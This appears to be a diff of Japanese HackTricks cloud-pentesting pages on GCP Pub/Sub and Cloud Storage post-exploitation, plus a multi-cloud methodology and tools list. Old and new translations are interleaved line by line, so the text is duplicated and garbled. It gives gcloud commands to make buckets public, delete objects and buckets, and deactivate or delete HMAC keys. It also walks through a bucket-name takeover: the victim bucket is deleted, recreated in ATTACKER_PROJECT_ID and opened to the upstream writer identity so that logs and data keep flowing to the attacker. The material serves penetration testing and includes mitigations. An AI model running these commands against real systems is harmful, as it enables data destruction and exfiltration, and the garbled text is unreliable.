schema を topic に attach して、messages がそれを満たさないようにし、その結果 topic を disrupt します。\
schemas が存在しない場合は、作成する必要があるかもしれません。
<details>
<summary>スキーマファイルを作成してトピックにアタッチする</summary>
<summary>Create schema file and attach to topic</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -174,7 +207,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
schema を削除すると schema に適合しない message を送信できるように見えるかもしれません。しかし、schema が削除されると実際にはどの message も topic に入らないため、これは**役に立ちません**
これは schema を削除するとschema を満たさないメッセージを送信できるように見えるかもしれません。しかし、schema が削除されると実際にはどのメッセージも topic の中に入らなくなります。したがって、これは **USELESS** です:
<details>
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
### `pubsub.schemas.setIamPolicy`
前述のいずれかの攻撃を実行するために必要な権限を自分に付与します。
以前に説明した攻撃を実行するために必要な権限を自分に付与します。
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
これは、すべての unACKed メッセージのスナップショットを作成してサブスクリプションに戻します。攻撃者にあまり有用ではありませんが、参考までに:
これは、ACKされていないすべてのメッセージの snapshot を作成し、それらを subscription に戻します。攻撃者にとってあまり有用ではありませんが、ここでは次のとおりです:
<details>
<summary>スナップショットを作成してそこにシークする</summary>
<summary>Create snapshot and seek to it</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
@@ -4,15 +4,15 @@
## Cloud Storage
Cloud Storage の詳細については次のページを参照してください
Cloud Storage についての詳細はこのページを確認してください:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
### パブリックアクセスを付与する
### Public Access を付与
外部ユーザー(GCPにログインしているかどうかに関係なく)にバケットのコンテンツへのアクセスを許可すること可能です。ただし、デフォルトではバケットは公開設定にするオプション無効になっています
外部ユーザー(GCP にログインしているかどうかに関係なく)に bucket の内容へのアクセスを付与すること可能です。ただし、デフォルトでは bucket を public に公開するオプション無効になっています:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
もし **ACLs to a bucket with disabled ACLs** を与えようとすると、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
**ACLs が無効な bucket に ACLs を付与しようとすると**、次の error が表示されます: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
ブラウザから公開された bucket にアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスしてください。
browser 経由で open bucket にアクセスするには、`https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスします
### `storage.objects.delete` (`storage.objects.get`)
オブジェクトを削除するには:
object を delete するには:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
@@ -41,9 +41,41 @@ gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### HMAC Keys を無効化
### 上流の writer による Global bucket name takeover
`storage.hmacKeys.update` permission は HMAC keys を無効化することを許可し、`storage.hmacKeys.delete` permission は Cloud Storage の service accounts に関連付けられた HMAC keys を identity が削除できるようにします。
Cloud Storage の bucket name はグローバルに一意です。bucket を削除する前に、どの automated service もその bucket に name で書き込み続けていないか確認してください。bucket が削除され、同じ name が attacker-controlled project で再作成されると、Cloud Logging sinks、Pub/Sub Cloud Storage subscriptions、または Storage Transfer Service jobs などの上流の writer は、今後の data をその replacement bucket に書き込み続ける可能性があります。
```bash
# Cloud Logging sinks using GCS
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,writerIdentity)'
# Pub/Sub subscriptions writing messages into GCS
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'
# Storage Transfer Service jobs
gcloud transfer jobs list --project <PROJECT_ID>
# Delete and reclaim the destination bucket name
gcloud storage rm -r gs://<BUCKET_NAME>
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
```
上流サービスが必要とする場合は、関連する writer identity に replacement bucket へのアクセス権を付与します:
```bash
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='<WRITER_IDENTITY_MEMBER>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** long-term exfiltration of logs, messages, transfer outputs, backups, or data pipeline artifacts without modifying the original router resource.
**Detection & Mitigation:** bucket deletionをsinks/subscriptions/jobsで参照されている場合は高リスクとして扱い、dangling destinationsをアラートし、`storage.buckets.delete`を制限し、必要に応じて重要なexport bucketに対してretention policiesまたはlegal holdsを使用する。
### HMAC Keysを無効化する
`storage.hmacKeys.update`権限はHMAC keysの無効化を許可し、`storage.hmacKeys.delete`権限はCloud Storageのservice accountsに関連付けられたHMAC keysをidentityが削除することを許可する。
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,19 +84,19 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
`storage.buckets.setIpFilter` `storage.buckets.update` 権限があれば、アイデンティティは Cloud Storage バケットの IP アドレスフィルタを設定でき、どの IP 範囲またはアドレスがバケットのリソースにアクセスできるかを指定できます。
`storage.buckets.setIpFilter` 権限は、`storage.buckets.update` 権限と組み合わせることで、Cloud Storage bucket に対して IP address フィルタを設定、どの IP 範囲またはアドレスが bucket のリソースにアクセスできるかを指定できます。
IP フィルタを完全にクリアするには、次のコマンドを使用できます
IP filter を完全に削除するには、次のコマンドを使用できます:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
フィルタリングされた IP を変更するには、次のコマンドを使用できます:
フィルタリングされたIPを変更するには、次のコマンドを使用できます:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
JSON ファイルはフィルタ自体を表しており、次のようなものです:
JSONファイルはfilter自体を表しており、たとえば次のようになります:
```bash
{
"mode": "Enabled",
@@ -76,7 +108,7 @@ JSON ファイルはフィルタ自体を表しており、次のようなもの
}
```
### `storage.buckets.restore`
次を使用してバケットを復元する:
バケットを復元するには:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
@@ -1,44 +1,70 @@
# Pentesting クラウド方法論
# Pentesting Cloud Methodology
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
## 基本的なメソドロジー
## Basic Methodology
クラウドには固有の特性がありますが、一般的にクラウド環境をテストする際にペンテスターが確認すべき**共通の項目**がいくつかあります:
cloudにはそれぞれ特有の点がありますが、一般的にcloud環境をテストする際に **pentesterが確認すべき共通事項** がいくつかあります:
- **ベンチマークチェック**
- これは環境の**規模を理解**し、**用されているサービス**を把握するのに役立ちます
- ほとんどのテストを**自動化ツール**で実行できるため、**迅速な設定ミス**を見つけるのにも有効で
- **サービスの列挙**
- ベンチマークテストを正しく実施していればここで新たな設定ミスは多く見つからない可能性がありますが、ベンチマークで見られていなかったものが見つかることがあります
- これによりクラウド環境で**具体的に何が使われているか**を把握できます
- 次のステップで非常に役立ちます
- **公開されているアセットの確認**
- これは前節の間に実施できます。インターネットに**何が潜在的に公開されているか**、またそれにどうアクセスできるかを**全て見つけ出す**必要があります
- ここでは手動で公開されたインフラ(ウェブページや他のポートが公開されているインスタンスなど)や、公開可能に設定されうる**クラウド管理サービス**(例えば DBs やバケット)について扱います
- 次にそのリソースが**公開可能かどうかを確認**するべきです(機密情報か?脆弱性か?公開サービスの設定ミスか?)
- **権限の確認**
- ここではクラウド内の各ロール/ユーザーの**全ての権限を調べ**、それらがどのように使われているかを把握するべきで
- あまりにも**多くの高権限アカウント**(すべてを制御する)がありますか? 生成されたキーが未使用ですか?… これらの多くはベンチマークテストで既に確認されているはずです
- クライアントが OpenIDSAML やその他の federation を使用している場合、各ロールが**どのように割り当てられているか**についてさらに**情報**を求める必要があるかもしれません(admin ロールが 1 人に割り当てられているのと 100 人に割り当てられているのとでは同じではありません)
- 単にどのユーザーが "**admin**" 権限("*:*"を持っているかを見つけるだけでは**不十分**です。用されているサービスによっては他にも非常に**センシティブな**権限が多数あります
- さらに、権限を悪用して進められる**privesc** の経路が存在する可能性があります。これらすべてを考慮し、**可能な限り多くの privesc パス**を報告すべきです
- **統合の確認**
- クラウド環境内で他のクラウドや SaaS との**統合**が利用されている可能性が高いです
- 監査対象のクラウドが他のプラットフォームと統合されている場合、**その統合を(濫用)できるのは誰か**を通知し、その操作がどれほど**センシティブ**を確認すべきです。\
えば、GCP がデータを取得している AWS のバケットに誰が書き込みできるか(GCP 側でそのデータを扱う操作がどれほどセンシティブかを確認する)など。
- 監査対象のクラウド内に外部プラットフォームからの統合がある場合、**外部からその統合を(濫用)できるのは誰か**を確認し、そのデータがどのように使われているかをチェックすべきです。\
えば、あるサービスが GCR にホストされた Docker image を使用している場合、その image を修正できるのは誰か、そしてその imageAWS クラウド内で実行されたときにどのような機密情報やアクセスを得るかを確認すべきです。
- **Benchmark checks**
- これは環境の**規模を把握**し、**使用されているservices** を理解するのに役立ちます
- また、**automated tools** を使ってこのテストの大半を実行できるため、いくつかの**quick misconfigurations** を見つけることもできま
- **Services Enumeration**
- Benchmark testsを正しく実施していればここでそれ以上のmisconfigurationsはあまり見つからないでしょうが、benchmark testでは探されていなかったものが見つかるかもしれません
- これにより、cloud envで**何が正確に使われているか** を把握できます
- 次のステップで大いに役立ちます
- **Check exposed assets**
- これは前のセクションの間に行うこともでき、**インターネットに何らかの形で公開されている可能性のあるものすべて** と、そのアクセス方法を見つける必要があります
- ここでは、Webページや他のportが公開されているinstanceのような**手動で公開された infrastructure** に加え、公開可能に設定できる**cloud managed services**DBやbucketなど)について扱います
- 次にそのresourceが**本当に公開可能かどうか** を確認すべきです(機密情報 vulnerabilities?公開されたserviceのmisconfigurations?)
- **Check permissions**
- ここではcloud内の各role/userの**すべてのpermissions** と、それらがどのように使われているかを見つける必要がありま
- **高権限の**(すべてを制御できる)accountが多すぎないか? 生成されたkeyが使われていない?... これらの確認の多くはbenchmark testsですでに実施済みのはずです
- clientがOpenIDSAML、または他の**federation** を使ている場合、各roleが**どのように割り当てられているか** について追加の**information** を求める必要があるかもしれません(admin roleが1人に割り当てられているのと100人に割り当てられているのは同じではありません)
- **admin** permissions "\*:\*" を持つuserが誰かを見つけるだけでは**不十分**です。使用されているservicesによっては非常に**sensitive** になりうる、**他のpermissions** がたくさんあります
- さらに、permissionsを悪用することでたどれる**privesc** の潜在的な方法があります。これらすべてを考慮に入れ、可能な限り**多くのprivesc paths** を報告すべきです
- **Check Integrations**
- cloud env内では、他のcloudやSaaSとの**integrations** が使われている可能性が非常に高いです
- あなたが監査しているcloudの、他のplatformとの**integrations** については、そのintegrationを**(ab)useするアクセス権を誰が持っているか** を通知し、実行されているアクションが**どれほどsensitiveか** を確認すべきです。\
たとえば、GCPがデータを取得しているAWS bucketに誰が書き込めるか(そのデータを扱うGCP側のアクションがどれほどsensitiveかを確認する)
- あなたが監査しているcloud内の、外部platformからの**integrations** については、**外部からそのintegrationを(ab)useするアクセス権を誰が持っているか** を確認し、そのデータがどのように使われているかを調べるべきです。\
たとえば、あるserviceがGCRにホストされたDocker imageを使ている場合、誰がそれを変更できるのか、そしてそのimageAWS cloud内で実行されたときにどのsensitive infoやaccessを得るかを確認すべきです。
## マルチクラウド用ツール
### Hunt autonomous data streams writing to globally-unique storage
さまざまなクラウド環境をテストするために使えるツールがいくつかあります。インストール手順とリンクはこのセクションで示します。
During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
Focus this check in the relevant service pages:
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
{{#endref}}
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
{{#endref}}
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
{{#endref}}
{{#ref}}
aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
{{#endref}}
{{#ref}}
azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
{{#endref}}
## Multi-Cloud tools
複数のcloud環境をテストするために使用できるtoolはいくつかあります。インストール手順とlinksはこのセクションで示されます。
### [PurplePanda](https://github.com/carlospolop/purplepanda)
クラウド内およびクラウド/SaaS 間での**不適切な設定や privesc パスを特定する**ツールです
cloudやcloud/SaaS間での**bad configurations** と**privesc path** を特定するためのtool
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
これは **AWS, GCP & Azure** をサポートしています。各プロバイダの設定方法は [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) を参照してください。
**AWSGCPAzure** をサポートしています。各プロバイダの設定方法は [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) を確認してください。
```bash
# Install
pip install prowler
@@ -146,7 +172,7 @@ done
{{#tabs }}
{{#tab name="Install" }}
Steampipe をダウンロードしてインストールします([https://steampipe.io/downloads](https://steampipe.io/downloads)。または Brew を使用
Steampipe をダウンロードしてインストールしてください ([https://steampipe.io/downloads](https://steampipe.io/downloads))。または Brew を使用してください:
```
brew tap turbot/tap
brew install steampipe
@@ -168,11 +194,9 @@ steampipe check all
```
<details>
<summary>すべてのプロジェクトをチェック</summary>
<summary>すべての Projects を確認</summary>
すべてのプロジェクトをチェックするには、テストするすべてのプロジェクトを示す `gcp.spc` ファイルを生成する必要があります。以下のスクリプトに従ってください。
</details>
すべての projects を確認するには、テストするすべての projects を示す `gcp.spc` file を生成する必要があります。次の script の指示に従えば問題ありません
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -196,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
To check **他の GCP インサイト**(サービスの列挙に役立ちます)を確認するには: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
**その他のGCP insights** を確認するには(サービスの列挙に便利): [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
TerraformGCP codeを確認するには: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Steampipe のその他の GCP プラグイン: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Steampipeの他のGCP plugins: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -227,9 +251,9 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
Terraform AWS コードを確認するには: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Steampipe の他の AWS プラグイン: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
@@ -240,11 +264,11 @@ python2.7 が必要で、メンテナンスされていないようです。
### Nessus
Nessus には _**Audit Cloud Infrastructure**_ スキャンがあり、以下をサポートします: AWS, Azure, Office 365, Rackspace, Salesforce。**Azure** では **Client Id** を取得するためにいくつか追加の設定が必要です。
Nessus には、AWS, Azure, Office 365, Rackspace, Salesforce をサポートする _**Audit Cloud Infrastructure**_ スキャンがあります。**Azure** では **Client Id** を取得するために追加の設定が必要です。
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist は Cloud Providers から AssetsHostnames, IP Addressesを取得するための **multi-cloud tool** です。
Cloudlist はCloud Providers から **Assets** (Hostnames, IP Addresses) を取得するための **multi-cloud tool** です。
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -267,7 +291,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartographyは、Neo4jデータベースによって駆動される直感的なグラフビューで、インフラ資産とそれらの関係を統合するPythonツールです。
Cartographyは、Neo4jデータベースを使って、インフラ資産とそれらの関係を直感的なグラフ表示に統合するPythonツールです。
{{#tabs }}
{{#tab name="Install" }}
@@ -304,7 +328,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbaseは、クラウドインフラ、SaaSアプリケーション、セキュリティコントロールなどを含むサービスやシステムから資産と関係性を収集し、Neo4jデータベースで支えられた直感的なグラフビューに統合します。
Starbaseは、cloud infrastructure、SaaS applications、security controlsなどのサービスやシステムから、assetsとrelationshipsを収集し、Neo4j databaseを基盤とした直感的なgraph viewにまとめます。
{{#tabs }}
{{#tab name="Install" }}
@@ -363,7 +387,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
スキャン対象の AWS または Azure 環境内で、AWS Shadow Admins を含む最も権限の高いユーザーを特定します。powershell を使用します。
スキャンされたAWSまたはAzure環境で最も権限の強いユーザーを発見します。AWS Shadow Adminsも含まれます。powershellを使用します。
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -374,15 +398,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
企業(ターゲット)のインフラ、ファイル、アプリを主要クラウドプロバイダ(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)上で発見するためのツール。
主要クラウドプロバイダ(AmazonGoogleMicrosoftDigitalOceanAlibabaVultrLinode)上で、企業(ターゲット)のインフラ、ファイル、アプリを見つけるためのツール。
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFoxは、クラウドインフラ内の悪用可能な攻撃経路を発見するためのツールです(現時点ではAWSとAzureのみ対応、GCPは今後対応予定)。
- 手動pentestingを補完する列挙ツールです。
- クラウド環境内データを作成変更しません。
- CloudFox は、クラウドインフラ内で exploit 可能な attack path を見つけるためのツールです(現在は AWS と Azure のみ対応、GCP は今後対応予定)。
- これは manual pentesting を補完することを意図した enumeration ツールです。
- クラウド環境内データを作成または変更しません。
### クラウドセキュリティツールの追加リスト
### More lists of cloud security tools
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -412,12 +436,19 @@ aws-security/
azure-security/
{{#endref}}
## 共通のクラウドセキュリティ機能
## Common Cloud Security Features
### 機密コンピューティング
### Confidential Computing
{{#ref}}
confidential-computing/luks2-header-malleability-null-cipher-abuse.md
{{#endref}}
## References
- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
{{#include ../banners/hacktricks-training.md}}